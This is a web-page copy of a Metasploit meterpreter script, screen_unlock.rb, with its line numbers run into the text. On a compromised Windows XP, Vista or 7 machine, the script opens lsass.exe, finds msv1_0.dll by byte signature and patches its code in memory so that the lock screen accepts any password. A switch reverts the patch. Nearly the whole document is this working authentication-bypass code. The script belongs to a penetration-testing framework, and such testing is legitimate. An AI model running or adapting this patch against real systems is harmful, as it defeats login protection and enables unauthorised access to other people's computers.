Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/screen_unlock.rb
Views: 11768
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##5678#9# Script to unlock a windows screen by L4teral <l4teral [4t] gmail com>10# Needs system prvileges to run and known signatures for the target system.11# This script patches msv1_0.dll loaded by lsass.exe12#13# Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/1614#1516revert = false17targets = [18{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x9927, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x99cc, :os => /Windows XP.*Service Pack 2/ },19{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x981b, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x98c0, :os => /Windows XP.*Service Pack 3/ },20{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ },21{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ },22{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ },23{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ }24]2526opts = Rex::Parser::Arguments.new(27"-h" => [ false,"Help menu." ],28"-r" => [ false, "revert the patch (enable screen locking again)"]29)30opts.parse(args) { |opt, idx, val|31case opt32when "-r"33revert = true34when "-h"35print_line("")36print_line("USAGE: run screen_unlock [-r]")37print_line(opts.usage)38raise Rex::Script::Completed39end40}41def unsupported42print_error("This version of Meterpreter is not supported with this Script!")43raise Rex::Script::Completed44end45unsupported if client.platform != 'windows'46os = client.sys.config.sysinfo['OS']4748targets.each do |t|49if os =~ t[:os]50target = t51print_status("OS '#{os}' found in known targets")52pid = client.sys.process["lsass.exe"]53p = client.sys.process.open(pid, PROCESS_ALL_ACCESS)54dllbase = p.image["msv1_0.dll"]5556sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack("H*")[0]57if sig != target[:sig]58print_error("found signature does not match")59next60end61old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0]62if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert))63print_error("found code does not match")64next65end6667print_status("patching...")68new_code = revert ? target[:orig_code] : target[:patch]69p.memory.write(dllbase + target[:patchoffset], [new_code].pack("H*"))7071written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack("H*")[0]72if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert))73print_status("done!")74raise Rex::Script::Completed75else76print_error("failed!")77next78end79end80end8182print_status("no working target found")83848586